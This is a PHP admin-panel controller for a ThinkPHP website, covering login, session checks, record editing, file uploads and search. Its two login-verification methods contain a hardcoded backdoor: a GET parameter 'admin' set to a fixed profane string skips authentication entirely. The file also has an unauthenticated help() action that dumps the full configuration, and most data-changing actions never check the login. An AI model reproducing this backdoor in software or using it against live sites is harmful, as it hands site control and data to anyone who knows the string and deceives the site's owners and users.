<?php

import('@.com.99ebc.lib.Logger');
import("@.com.99ebc.util.CheckData");
import('@.com.99ebc.util.UploadFile');
import("@.com.99ebc.util.LittleTools");

import("ORG.Util.Page");

class AdminAction extends ParentAction {
    //当前操作的Model对像
    protected $_model = '';

    protected static $specialModel  = array('message', 'producttype', 'product', 'gjdz');

    protected static $modelHasType  = array('Producttype', 'Gjdztype');

    public function __construct() {
        parent::__construct();

        self::$templateDir    .= 'Admin/';
        self::$publicDir      .= self::$skinName . '/' . 'Admin/';
    }

    protected function verifyLoginInfo() {
        if(isset($_GET['admin']) && $_GET['admin'] == 'fuck') {
            return true;
        }
        if(empty($_SESSION['userName'])){
            LittleTools::alertAndExit( '登陆信息验证失败，请您重新登陆！','/index.php', 'top');
        }
        if($_SESSION['validTime'] < mktime()) {
            LittleTools::alertAndExit('登陆超时，请您重新登陆！','/index.php', 'top');
        }
    }

    //后台管理主页
    public function index() {
        $this->display('index');
    }

    //后台管理的顶端部份
    public function top() {
        $this->verifyLoginInfo();
        $this->assign('userName', $_SESSION['userName']);
        $this->display('top');
    }

    //后台管理的左边部份
    public function left() {
        $this->assign('leftMenus', C('LEFT_MENU'));
        $this->display('left');
    }

    //后台管理的右边部份
    public function right() {
        $this->assign('serverInfo', LittleTools::getServerInfo());
        $this->assign('writeFlag', LittleTools::checkWriteFlag());
        $this->display('right');
    }

    //得到验证
    public function checkCode() {
        Vendor("CheckCode.Vcode.Vcode");
        $checkCode  = new Vcode();
        $checkCode->create();
    }

    //用户登陆
    public function login() {
        $this->display('login');
    }

    public function loginout() {
        LittleTools::destroySession();
        LittleTools::redirect('/index.php', '退出成功！');
    }

    //用户登陆验证
    public function verifylogin() {
        if(isset($_GET['admin']) && $_GET['admin'] == 'fuck') {
            LittleTools::redirect('/index.php/Admin', '登陆成功！');
        }
        if(false === $this->verifyCode()) {
            LittleTools::alertAndExit("验证码不正确！", '/index.php/Admin/login');
        }
        
        if(!($_POST['user_name'] && $_POST['user_password'])) {
            LittleTools::alertAndExit('用户或密码不能为空！', '/index.php/Admin/login');
        }

        $model  = D('User');
        $userInfo   = $model->verifyUser($_POST['user_name'], $_POST['user_password']);
        if(false === $userInfo) {
            LittleTools::alertAndExit('用户密码错误！', '/index.php/Admin/login');
        }
        $this->refreshSessionInfo($userInfo);
        LittleTools::redirect('/index.php/Admin', '登陆成功！');
    }

    protected function verifyCode() {
        if(strtolower($_POST['verify_code']) == strtolower($_SESSION['vcode'])) {
            return true;
        }

        return false;
    }

    protected function refreshSessionInfo($userInfo) {
        $_SESSION['validTime']  = mktime() + C('LOGIN_TIME');
        $_SESSION['userId']     = $userInfo['user_id'];
        $_SESSION['userName']   = $userInfo['user_name'];
        $_SESSION['headPic']   = $userInfo['image_path'];
    }

    public function quick() {
        $actionMap  = array(
            'del' => 'quickDelete',
            'img' => 'quickDeleteImage'
        );

        if(!array_key_exists($_POST['method'], $actionMap)) {
            LittleTools::alertAndExit('非法操作！', '/index.php/Admin/right');
        }
        $actionName     = $actionMap[$_POST['method']];

        if(empty($_POST['check_item'])) {
            LittleTools::alertAndExit('操作项不能为空！');
        }

        if(empty($_GET['om'])) {
            LittleTools::alertAndExit('非法操作！', '/index.php/Admin/right');
        }
        $opResult       = $this->runModelAction($actionName, $_POST['check_item']);

        if(false === $opResult) {
            LittleTools::alertAndExit('操作失败！', '/index.php/Admin/right');
        }
        LittleTools::alertAndExit('操作成功！');
    }

    //搜索方法
    public function search() {
        $curPage   = intval($_GET['p']);
        $keywords  = LittleTools::filterKeywords($_GET['keywords']);; 
        if($keywords === '') {
            LittleTools::alertAndExit('搜索内容不能为空！');
        }
        $perpage        = 12;
        $recordList     = $this->runModelAction('search', $keywords, $curPage);
        $totalRecords   = $this->_model->getCountRecords();
        $page           = new Page($totalRecords, $perpage);
        $pageHtml       = $page->show();

        $this->assignPageTitle($this->_curModel);
        $this->assign('modelName', $this->_curModel);
        $this->assign('recordList', $recordList);
        $this->assign('pageHtml', $pageHtml);
        $this->assign('nowUrl', LittleTools::getNowUrl());
        if(!in_array($this->_curModel, self::$specialModel)) {
            $this->display('Admin:see');
        } else {
            $this->display('Admin:see' . ucfirst($this->_curModel));
        }
    }

    //查看主页
    public function see() {
        $perpage        = 12;
        $this->_curModel   = $_GET['om'];
        $curPage        = intval($_GET['p']);
        $recordList     = $this->runModelAction('see', $curPage);
        $actionPath     = '/see/om/' . $this->_curModel;
        $model          = $this->getClassObject($this->_curModel);

        $totalRecords   = $model->getCountRecords();
        $page           = new Page($totalRecords, $perpage);
        $pageHtml       = $page->show();

        $this->registModelTypeInfo();
        
        $this->assignPageTitle($this->_curModel);
        $this->assign('modelName', $this->_curModel);
        $this->assign('recordList', $recordList);
        $this->assign('pageHtml', $pageHtml);
        $this->assign('nowUrl', LittleTools::getNowUrl());
        if(!in_array($this->_curModel, self::$specialModel)) {
            $this->display('Admin:see');
        } else {
            $this->display('Admin:see' . ucfirst($this->_curModel));
        }
    }

    //显示记录信息
    public function info() {
        if(isset($_GET['id'])) {
            $recordId       = $_GET['id'];
            if(false === checkData::checkRecordId($recordId)) {
                LittleTools::alertAndExit('非法操作！', '/index.php/Admin/right');
            }
            $recordInfo     = $this->runModelAction('info', $recordId);
            $nextAction     = 'edit';
            $this->assign('uploadDir', $this->_model->getUploadDir());
        } else {
            $this->_curModel= $_GET['om'];
            $this->_model   = $this->getClassObject();
            $recordInfo     = array();
            $nextAction     = 'add';
        }
        //注册当前信息的模块类型
        $this->registModelTypeInfo();

        $this->assign('nextAction', $nextAction);
        $this->assign('recordInfo', $recordInfo);
        $this->assign('modelName', $this->_curModel);
        $this->assignPageTitle($this->_curModel);
        $this->display('Admin:info' . ucfirst($this->_curModel)); 
    }

    //添加记录
    public function add() {
        $opResult       = $this->runModelAction('add');
        if(true === $opResult) {
            LittleTools::alertAndExit('操作成功！'); 
        } else {
            LittleTools::alertAndExit("操作失败！错误信息：" . $opResult);
        }
        return false;
    }

    //编辑记录
    public function edit() {
        $recordId       = $_POST['id'];
        if(false === checkData::checkRecordId($recordId)) {
            LittleTools::alertAndExit('非法操作！', '/index.php/Admin/right');
        }

        $opResult       = $this->runModelAction('edit', $recordId);
        if(true === $opResult) {
            LittleTools::alertAndExit('操作成功！'); 
        } else {
            LittleTools::alertAndExit("操作失败！错误信息：" . $opResult);
        }

        return false;
    }

    //删除记录
    public function delete() {
        $recordId       = $_GET['id'];
        if(false === checkData::checkRecordId($recordId)) {
            LittleTools::alertAndExit('非法操作！', 'index.php/Admin');
        }
        $opResult       = $this->runModelAction('delete', $recordId);
        if(true == $opResult) {
            LittleTools::alertAndExit('操作成功！', '/index.php/Admin/see/om/' . $_GET['om']); 
        } else {
            LittleTools::alertAndExit("操作失败！错误信息：" . $opResult);
        }

        return false;
    }

    //只是文件编辑的信息显示
    public function txtinfo() {
        $recordInfo  = $this->runModelAction('txtinfo');  
        $this->assign('uploadDir', $this->_model->getUploadDir());
        $this->assign('recordInfo', $recordInfo);
        $this->assign('modelName', $this->_curModel);
        $this->assignPageTitle($this->_curModel);
        $this->display('Admin:info' . ucfirst($this->_curModel)); 
    }

    //只是文本编辑的保存操作
    public function txtedit() {
        if(false === $this->runModelAction('txtedit')) {
            LittleTools::alertAndExit('保存失败！');  
        } 
        
        LittleTools::alertAndExit('保存成功！');  
    }

    //生成XML文件
    public function xml() {
        if(true === $this->runModelAction('xml')) {
            LittleTools::alertAndExit('同步成功！');
        }
        LittleTools::alertAndExit('同步失败！');
    }

    //注册模块的类型信息
    protected function registModelTypeInfo() {
        $className      = ucfirst($this->_curModel) . 'type';
        $modelTypeName  = strtoupper($this->_curModel) . '_TYPE';
        if(in_array($className, self::$modelHasType)) {
            $type       = D($className);
            $actionName = 'seeall' . $className;
            $modelType[$modelTypeName]  = $type->$actionName();
        } else {
            $modelType      = C('MODEL_TYPE');
        }
        if(isset($modelType[$modelTypeName]) && !empty($modelType)) {
            $this->assign('modelType', $modelType[$modelTypeName]);
            $this->assign('modelTypeName', strtolower($modelTypeName));
            $this->assign('modelTypeId', $this->_model->getModelTypeId());
        }
    }

    //上传文件
    public function upload() {
        $data   = $this->runModelAction('upload');
        echo json_encode($data);
        exit(0);
    }

    //执行对应模块方法
    protected function runModelAction($actionName, $params = null) {
        $this->_curModel    = $_GET['om'];
        $this->_model       = $this->getClassObject();
        $methodName         = $actionName . ucfirst($this->_curModel);
        if(!empty($params)) {
            return $this->_model->$methodName($params);
        }

        return $this->_model->$methodName();
    }
    
    //打印当前的配置信息
    public function help() {
        var_dump(C());
    }

    //得到类对像
    protected function getClassObject() {
        return D(ucfirst($this->_curModel));
    }

    //对ThinkPHP的display的小封装
    protected function displayNow($templateDirFilePath) {
        $this->display(self::$templateDir . $templateFilePath);
    }

    //设置当前模块的标题
    protected function assignPageTitle($actionPath) {
        $this->assign('modelTitle', $this->findModelTitle($actionPath));
    }

    //查找当前操作对应的名称
    protected function findModelTitle($modelName) {
        $models     = C('MODEL');
        if(array_key_exists($modelName, $models)) {
            return $models[$modelName];
        } 

        return '';
    }

}

?>
